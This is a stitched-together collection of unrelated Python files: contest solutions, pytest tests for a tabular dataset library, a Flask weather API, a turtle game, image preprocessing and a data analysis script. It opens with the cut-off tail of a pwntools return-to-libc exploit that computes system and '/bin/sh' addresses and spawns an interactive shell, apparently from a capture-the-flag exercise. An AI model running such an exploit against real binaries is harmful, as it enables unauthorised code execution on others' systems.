	libc.address = got_addr-0x1b0000
system_addr =  libc.symbols['system']
bin_sh_addr = libc.search('/bin/sh\x00').next()
p.sendline('35')
p.recv()
for i in range(24):
    p.sendline('0')
    p.recv()
#gdb.attach(p)
p.sendline('+')
p.recv()
for i in range(9):
    p.sendline(str(system_addr))
    p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()


import sys

import math

class Fenwick:
    def __init__(self, l):
        self.l = [0] * (len(l) + 1)
        for i, x in enumerate(l):
            self.add(i, x)

    def add(self, i, x):
        # l[i] += x
        #assert 0 <= i < len(self.l) - 1
        i += 1
        while i < len(self.l):
            self.l[i] += x
            i += i & -i

    def set(self, i, x):
        self.add(i, x-self.sum_range(i, i+1))

    def sum(self, i):
        # sum(l[:i])
        #assert 0 <= i < len(self.l)
        s = 0
        while i > 0:
            s += self.l[i]
            i -= i & -i
        return s

    def sum_range(self, i, j):
        # sum(l[i:j])
        #assert 0 <= i <= j < len(self.l)
        return self.sum(j) - self.sum(i)

def readstr(): return sys.stdin.readline().strip()

def readint(): return int(readstr())

def readints(): return [int(x) for x in readstr().split()]

T = readint()

for test in range(1, T+1):

    N, Q = readints()

    tab = readints()

    s1 = Fenwick([x if i % 2 == 0 else -x for i, x in enumerate(tab)])

    s2 = Fenwick([x*(i+1) if i % 2 == 0 else -x*(i+1)
                  for i, x in enumerate(tab)])

    total = 0

    for _ in range(Q):

        query = readstr().split()

        if query[0] == "U":
            xj, vj = int(query[1]), int(query[2])
            xj -= 1
            s1.set(xj, vj if xj % 2 == 0 else -vj)
            s2.set(xj, vj*(xj+1) if xj % 2 == 0 else -vj*(xj+1))
        elif query[0] == "Q":
            Lj, Rj = int(query[1]), int(query[2])
            Lj -= 1
            Rj -= 1
            if Lj % 2 == 0:
                res = s2.sum_range(Lj, Rj+1) - Lj*s1.sum_range(Lj, Rj+1)
            else:
                res = -s2.sum_range(Lj, Rj+1) + Lj*s1.sum_range(Lj, Rj+1)

            total += res

    print("Case #{}: {}".format(test, total))


import pytest
import numpy as np
import torch
from flambe.dataset import TabularDataset
from flambe.field import Field, TextField, LabelField

@pytest.fixture
def train_dataset():
    """Dummy dataset from file"""
    return TabularDataset.from_path('tests/data/dummy_tabular/train.csv', sep=',')

@pytest.fixture
def train_dataset_no_header():
    """Dummy dataset from file"""
    return TabularDataset.from_path('tests/data/no_header_dataset.csv', sep=',',
                                    header=None)

@pytest.fixture
def train_dataset_reversed():
    """Dummy dataset from file"""
    return TabularDataset.from_path('tests/data/dummy_tabular/train.csv', sep=',', columns=['label', 'text'])

@pytest.fixture
def full_dataset():
    """Dummy dataset from file"""
    return TabularDataset.from_path(train_path='tests/data/dummy_tabular/train.csv',
                                    val_path='tests/data/dummy_tabular/val.csv', sep=',')

@pytest.fixture
def dir_dataset():
    """Dummy dataset from directory"""
    return TabularDataset.from_path('tests/data/dummy_tabular', sep=',')

def test_valid_dataset():
    """Test trivial dataset build process"""
    train = (("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5, 5.5)
           )
    val = (("ipsum quia dolor sit", 10, 3.5),)
    test = (("Ut enim ad minima veniam", 100, 35),)

    t = TabularDataset(train, val, test)

    assert len(t) == 4
    assert len(t.train) == 2
    assert len(t.val) == 1
    assert len(t.test) == 1

    def check(d, t):
        for i, tu in enumerate(d):
            v0, v1, v2 = tu
            assert t[i][0] == v0
            assert t[i][1] == v1
            assert t[i][2] == v2

    check(train, t.train)
    check(val, t.val)
    check(test, t.test)

def test_invalid_dataset():
    """Test dataset is invalid as it has different columns"""
    train = (("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5.5)
           )
    with pytest.raises(ValueError):
        t = TabularDataset(train)

def test_invalid_dataset2():
    """Test dataset is invalid as different splits contain different columns"""
    train = (("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 4, 5.5)
           )
    val = (("ipsum quia dolor sit", 3.5),)
    with pytest.raises(ValueError):
        t = TabularDataset(train, val)

def test_incomplete_dataset():
    """Test dataset missing either val or test"""
    train = (("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 4, 5.5)
           )
    t = TabularDataset(train)

    assert len(t.val) == 0
    assert len(t.test) == 0

def test_cache_dataset():
    """Test caching the dataset"""
    train = (
            ("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5, 5.5),
            ("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5, 5.5),
            ("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5, 5.5),
            ("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5, 5.5),
            ("Lorem ipsum dolor sit amet", 3, 4.5),
            ("Sed ut perspiciatis unde", 5, 5.5)
           )

    t = TabularDataset(train, cache=True)

    assert len(t.train.cached_data) == 0
    for i, _ in enumerate(t.train):
        assert len(t.train.cached_data) == i + 1

def test_column_attr(train_dataset):
    assert len(train_dataset.named_columns) == 2
    assert train_dataset.named_columns == ['text', 'label']

def test_column_attr2(train_dataset_no_header):
    assert train_dataset_no_header.named_columns is None

def test_named_columns():
    """Test dataset is invalid as it has different columns"""
    train = (("Lorem ipsum dolor sit amet", 3),
            ("Sed ut perspiciatis unde", 5.5)
           )
    t = TabularDataset(train, named_columns=['col1', 'col2'])

def test_invalid_columns():
    """Test dataset is invalid as it has different columns"""
    train = (("Lorem ipsum dolor sit amet", 3),
            ("Sed ut perspiciatis unde", 5.5)
           )
    with pytest.raises(ValueError):
        t = TabularDataset(train, named_columns=['some_random_col'])

def test_dataset_from_file(train_dataset):
    """Test loading a dataset from file"""
    dummy = "justo. Praesent luctus. Curabitur egestas nunc sed libero. Proin sed"
    assert train_dataset[0][0] == dummy
    assert train_dataset[0][1] == '6'

def test_dataset_from_file_reversed(train_dataset_reversed):
    """Test loading a dataset from file"""
    dummy = "justo. Praesent luctus. Curabitur egestas nunc sed libero. Proin sed"
    assert train_dataset_reversed[0][0] == '6'
    assert train_dataset_reversed[0][1] == dummy

def test_full_dataset_from_file(full_dataset):
    """Test loading a dataset from file"""
    train_dummy = "justo. Praesent luctus. Curabitur egestas nunc sed libero. Proin sed"
    val_dummy = "malesuada. Integer id magna et ipsum cursus vestibulum. Mauris magna."

    assert full_dataset.train[0][0] == train_dummy
    assert full_dataset.train[0][1] == '6'

    assert full_dataset.val[0][0] == val_dummy
    assert full_dataset.val[0][1] == '8'

    assert full_dataset[0][0] == train_dummy
    assert full_dataset[100][0] == val_dummy

def test_dataset_from_dir(dir_dataset):
    """Test loading multiple datasets at once"""
    dummy = "justo. Praesent luctus. Curabitur egestas nunc sed libero. Proin sed"
    assert dir_dataset[0][0] == dummy
    assert dir_dataset[0][1] == '6'

    dummy = "malesuada. Integer id magna et ipsum cursus vestibulum. Mauris magna."
    assert dir_dataset[100][0] == dummy
    assert dir_dataset[100][1] == '8'

def test_dataset_length(train_dataset, full_dataset):
    """Test dataset length."""
    assert len(train_dataset) == 100
    assert len(full_dataset) == 200
    assert len(full_dataset.train) == 100
    assert len(full_dataset.val) == 100

def test_dataset_iter(train_dataset):
    """Test that the dataset is iterable."""
    for i, ex in enumerate(train_dataset):
        assert np.array_equal(ex, train_dataset[i])

def test_dataset_setitem(train_dataset):
    """Test dataset is immutable"""
    with pytest.raises(Exception):
        train_dataset[0] = 0

def test_dataset_deltitem(train_dataset):
    """Test dataset is immutable"""
    with pytest.raises(Exception):
        del train_dataset[0]

def test_dataset_transform():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "text": TextField(),
        "label": LabelField()
    }

    t = TabularDataset(train, transform=transform)

    assert hasattr(t, "text")
    assert hasattr(t, "label")

    assert t.label.vocab_size == 2
    assert t.text.vocab_size == 11

def test_dataset_transform_2():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "text": {
            "field": TextField()
        },
        "label": {
            "field": LabelField(),
            "columns": 1
        }
    }

    t = TabularDataset(train, transform=transform)

    assert hasattr(t, "text")
    assert hasattr(t, "label")

    assert t.label.vocab_size == 2

def test_dataset_transform_3():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "text": {
            "columns": 0
        },
        "label": {
            "field": LabelField(),
            "columns": 1
        }
    }

    with pytest.raises(ValueError):
        t = TabularDataset(train, transform=transform)

def test_dataset_transform_4():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "t1": {
            "field": TextField(),
            "columns": 1
        },
        "t2": {
            "field": TextField(),
            "columns": 1
        }
    }

    t = TabularDataset(train, transform=transform)

    assert t.train.cols() == 2

def test_dataset_transform_5():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "text": {
            "field": TextField(),
            "columns": 0
        },
        "text": {
            "field": TextField(),
            "columns": 0
        }
    }

    t = TabularDataset(train, transform=transform)
    assert t.train.cols() == 1

def test_dataset_transform_6():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    class DummyField(Field):
        def setup(self, *data: np.ndarray) -> None:
            pass

        def process(self, ex1, ex2):
            return torch.tensor(0)

    transform = {
        "text": {
            "field": DummyField(),
            "columns": [0, 1]
        }
    }

    t = TabularDataset(train, transform=transform)
    assert t.train.cols() == 1

def test_dataset_transform_7():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    class DummyField(Field):
        def setup(self, *data: np.ndarray) -> None:
            pass

        def process(self, ex1, ex2):
            return torch.tensor(0)

    transform = {
        "text": {
            "field": DummyField(),
            "columns": [0, 1]
        },
        "other": {
            "field": DummyField(),
            "columns": [0, 1]
        },
        "other2": {
            "field": LabelField(),
            "columns": 0
        }
    }

    t = TabularDataset(train, transform=transform)
    assert t.train.cols() == 3

def test_dataset_transform_8():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "tx": {
            "field": LabelField(),
            "columns": [0, 1]
        }
    }

    with pytest.raises(TypeError):
        t = TabularDataset(train, transform=transform)
        t.train.cols()

def test_dataset_transform_with_named_cols():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "tx": {
            "field": LabelField(),
            "columns": 'label'
        }
    }

    t = TabularDataset(train, transform=transform, named_columns=['text', 'label'])
    assert len(t.train[0]) == 1

def test_dataset_transform_with_invalid_named_cols():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "tx": {
            "field": LabelField(),
            "columns": 'none_existent'
        }
    }

    with pytest.raises(ValueError):
        t = TabularDataset(train, transform=transform, named_columns=['text', 'label'])

def test_dataset_transform_with_mixed_cols():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    transform = {
        "label": {
            "field": LabelField(),
            "columns": 1,
        },
        "text": {
            "field": TextField(),
            "columns": 'text',
        }
    }

    t = TabularDataset(train, transform=transform, named_columns=['text', 'label'])
    assert len(t.train) == 2
    assert len(t.train[0]) == 2

def test_dataset_transform_mixed_multiple_named_cols():
    train = (
            ("Lorem ipsum dolor sit amet", "POSITIVE"),
            ("Sed ut perspiciatis unde", "NEGATIVE"),
           )

    class DummyField(Field):
        def setup(self, *data: np.ndarray) -> None:
            pass

        def process(self, ex1, ex2):
            return torch.tensor(0)

    transform = {
        "text": {
            "field": DummyField(),
            "columns": ['text', 'label']
        },
        "other": {
            "field": DummyField(),
            "columns": [0, 1]
        },
        "other2": {
            "field": DummyField(),
            "columns": [0, 'label']
        }
    }

    t = TabularDataset(train, transform=transform, named_columns=['text', 'label'])
    assert t.train.cols() == 3


#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
   Commence l'analyse des tables générées par data.py
"""

import os
import pandas as pd
from insalubrite.analyse.data import get_data

data = get_data("batiment", libre_est_salubre=True, niveau_de_gravite=False)

# Test pour trouver lesquelles des variables numériques sont pertinentes
# pour décrire l'insalubrité
data_numeric = data._get_numeric_data()
test = data_numeric.groupby('est_insalubre').mean()
test2 = data_numeric.groupby('est_insalubre').std()

##################
###Stats desc ####
##################

#Combien d'affaires
print("{} affaires d'hygiène".format(data.affaire_id.nunique()))

#La répartition des affaires par adresse, par parcelles
print("{} parcelles cadastrales".format(data.code_cadastre.nunique()))
data.groupby(['code_cadastre']).size().sort_values(ascending = True)
print("{} adresses différentes".format(data.adresse_ban_id.nunique()))
data.groupby(['adresse_ban_id']).size().sort_values(ascending = True)
print("{} arrondissements".format(data.codeinsee.nunique()))
data.codeinsee.value_counts()

#Carte par iris

#Les bâtiments avec une affaire sont-ils particuliers?


from flask import Flask, jsonify, request
from constants import GEOCODING_API_ENDPOINT, FORECAST_API_ENDPOINT, API_KEY
from mock import DIRECT_GEOCODING, FORECAST
import requests

app = Flask(__name__)

@app.route('/city/coordinates/<city_name>', methods=['GET'])
def get_coordinates(city_name):
    url = f"{GEOCODING_API_ENDPOINT}?q={city_name}&appid={API_KEY}"
    response = requests.get(url)
    response = response.json()
    # response = DIRECT_GEOCODING

    if not response:
        return jsonify({})

    return jsonify(response[0])

@app.route('/city/forecast/<lat>/<lon>/<number_of_days>/<interval>', methods=['GET'])
def get_forecast(lat, lon, number_of_days, interval):
    number_of_days = int(number_of_days)
    interval = int(interval)
    url = f"{FORECAST_API_ENDPOINT}?lat={lat}&lon={lon}&appid={API_KEY}"
    response = requests.get(url)
    response = response.json()
    # response = FORECAST
    days_report = response['list']
    result = []
    limit = 5 if number_of_days == 1 else 99999

    if number_of_days == 1:
        result = days_report[:limit + 1]
    else:
        for index in range(len(days_report)):
            if index and index % interval == 0 or index == 1 or interval == 1:
                result.append(days_report[index])

        result = result[1:number_of_days + 1]

    return result

if __name__ == "__main__":
    app.run(debug=True)


import turtle
import math
import random

wn = turtle.Screen()
wn.bgcolor("black")
wn.title("Simple Object Motion Template")

class Player(turtle.Turtle):

    def __init__(self):
        turtle.Turtle.__init__(self)
        self.color("white")
        self.shape("triangle")
        self.penup()
        self.speed(0)
        self.thrust = 1
        self.friction = 0.99
        self.dx = 0
        self.dy = 0

    def move(self):
        self.dx *= self.friction
        self.dy *= self.friction
        self.goto(self.xcor()+self.dx, self.ycor()+self.dy)

        # boundary detection
        if self.xcor() > 350:
            self.setx(350)
           # self.rt(60)
        if self.xcor() < -350:
            self.setx(-350)
           # self.rt(60)
        if self.ycor() > 350:
            self.sety(350)
           # self.rt(60)
        if self.ycor() < -350:
            self.sety(-350)
           # self.rt(60)

    def turnleft(self):
        self.left(45)
    def turnright(self):
        self.right(45)
    def accelerate(self):
        h = self.heading()
        self.dx += math.cos(h*math.pi/180)*self.thrust
        self.dy += math.sin(h*math.pi/180)*self.thrust

class Food(turtle.Turtle):

    def __init__(self):
        turtle.Turtle.__init__(self)
        self.color("red")
        self.speed(0)
        self.shape("square")
        self.shapesize(stretch_len=0.8, stretch_wid=0.8)
        self.penup()
        self.goto(random.randint(0,300), random.randint(0,300))
        food = []
        for i in range(4):
            food.append(Food)

class Game():
    def __init__(self):
        self.pen = turtle.Turtle()

    def draw_border(self):
        # draw border
        self.pen.speed(0)
        self.pen.color("white")
        self.pen.pensize(3)
        self.pen.penup()
        self.pen.goto(-350, 350)
        self.pen.pendown()
        for side in range(4):
           self.pen.fd(700)
           self.pen.rt(90)
        self.pen.penup()
        self.pen.ht()
        self.pen.pendown()

def is_collision(food, player):
    if (food.xcor() >= (player.xcor() - 20)) and \
    (food.xcor() <= (player.xcor() + 20)) and \
    (food.ycor() >= (player.ycor() - 20)) and \
    (food.ycor() <= (player.ycor() + 20)):
        return True
    else:
        return False

player = Player()
game = Game()
game.draw_border()

food = Food()

turtle.listen()
turtle.onkey(player.turnleft, "Left")
turtle.onkey(player.turnright, "Right")
turtle.onkey(player.accelerate, "Up")

# wn.tracer(0)

while True:
    wn.update()
    player.move()

    # collision checking between player and food
    if is_collision(food, player):
        x = random.randint(-250, 250)
        y = random.randint(-250, 250)
        food.goto(x, y)


#
# @lc app=leetcode.cn id=932 lang=python3
#
# [932] 漂亮数组
#
# https://leetcode-cn.com/problems/beautiful-array/description/
#
# algorithms
# Medium (60.08%)
# Likes:    104
# Dislikes: 0
# Total Accepted:    5.7K
# Total Submissions: 9.5K
# Testcase Example:  '4'
#
# 对于某些固定的 N，如果数组 A 是整数 1, 2, ..., N 组成的排列，使得：
#
# 对于每个 i < j，都不存在 k 满足 i < k < j 使得 A[k] * 2 = A[i] + A[j]。
#
# 那么数组 A 是漂亮数组。
#
#
#
# 给定 N，返回任意漂亮数组 A（保证存在一个）。
#
#
#
# 示例 1：
#
# 输入：4
# 输出：[2,1,4,3]
#
#
# 示例 2：
#
# 输入：5
# 输出：[3,1,2,5,4]
#
#
#
# 提示：
#
#
# 1 <= N <= 1000
#
#
#
#
#

# @lc code=start
class Solution:
    def beautifulArray(self, N: int) -> List[int]:
        if N == 1:
            return [1]
        if N == 2:
            return [1, 2]
        if N == 3:
            return [1, 3, 2]
        if N == 4:
            return [1, 3, 2, 4]
        temp = [1, 3, 2, 4]
        while len(temp) < N:
            # 奇数漂亮数组
            for i in range(len(temp)):
                temp[i] = temp[i] * 2 - 1
            s = len(temp)
            # +偶数漂亮数组
            for i in range(s):
                temp.append(temp[i] + 1)

        temp = [i for i in temp if i <= N]
        return temp

# @lc code=end


import cv2
import numpy as np
from matplotlib import pyplot as plt
import pandas as pd
import PIL.Image as pilimg

image = cv2.imread('../data/vision2/test_dirty_mnist_2nd/50001.png', cv2.IMREAD_GRAYSCALE)
pix = np.array(image)

# 이미지 전처리 -------------------------------------

#254보다 작고 0이아니면 0으로 만들어주기
x_df2 = np.where((pix <= 254) & (pix != 0), 0, pix)

# 이미지 팽창
x_df3 = cv2.dilate(x_df2, kernel=np.ones((2, 2), np.uint8), iterations=1)

# 블러 적용, 노이즈 제거
x_df4 = cv2.medianBlur(src=x_df3, ksize= 5)

# 이미지 리쉐잎 -------------------------------------
# 리쉐잎

# 이전 파일 것
canny = cv2.Canny(x_df4, 30, 70)

sobelx = cv2.Sobel(x_df4, cv2.CV_64F, 1, 0, ksize=3)
sobely = cv2.Sobel(x_df4, cv2.CV_64F, 0, 1, ksize=3)
laplacian = cv2.Laplacian(x_df4, cv2.CV_8U)

images = [canny, sobelx, sobely, laplacian]
titles = ['canny', 'sobelx', 'sobely', 'laplacian']

for i in range(4):
    plt.subplot(2, 2, i+1), plt.imshow(images[i]), plt.title(titles[i])
    plt.xticks([]), plt.yticks([])

plt.show()


"""

충전

도착? 또는 갈 수 있는 범위 확인

범위 내에서 교채 배터리 + (현재 배터리 거리 - 배터리 위치)로 최대값 찾기

배터리 선택

"""

import sys

sys.stdin = open("5208_sample_input.txt", "r")

T = int(input())
# 여러개의 테스트 케이스가 주어지므로, 각각을 처리합니다.
for test_case in range(1, T + 1):
    res = 0
    oil_list = list(map(int, input().split()))
    oil_list = oil_list[1:] + [0]
    #print(oil_list)

    index = 0
    dis = 0
    next_i = 0
    while (index < len(oil_list)):
        dis = oil_list[index]
        print("end", index + dis , len(oil_list) - 1)
        if index + dis>= len(oil_list) - 1:
            break
        else:

            cur_oil_list = [x for x in zip(oil_list[index+1:index+1 + dis], [i for i in range(dis,-1,-1)])]
            #print(cur_oil_list)
            cur_oil_list.sort(key = lambda x : x[0] + (index + dis - x[1]))
            b, next_i = cur_oil_list[-1]
            index += (dis - next_i)
            res += 1

    print(f"{test_case} {res}")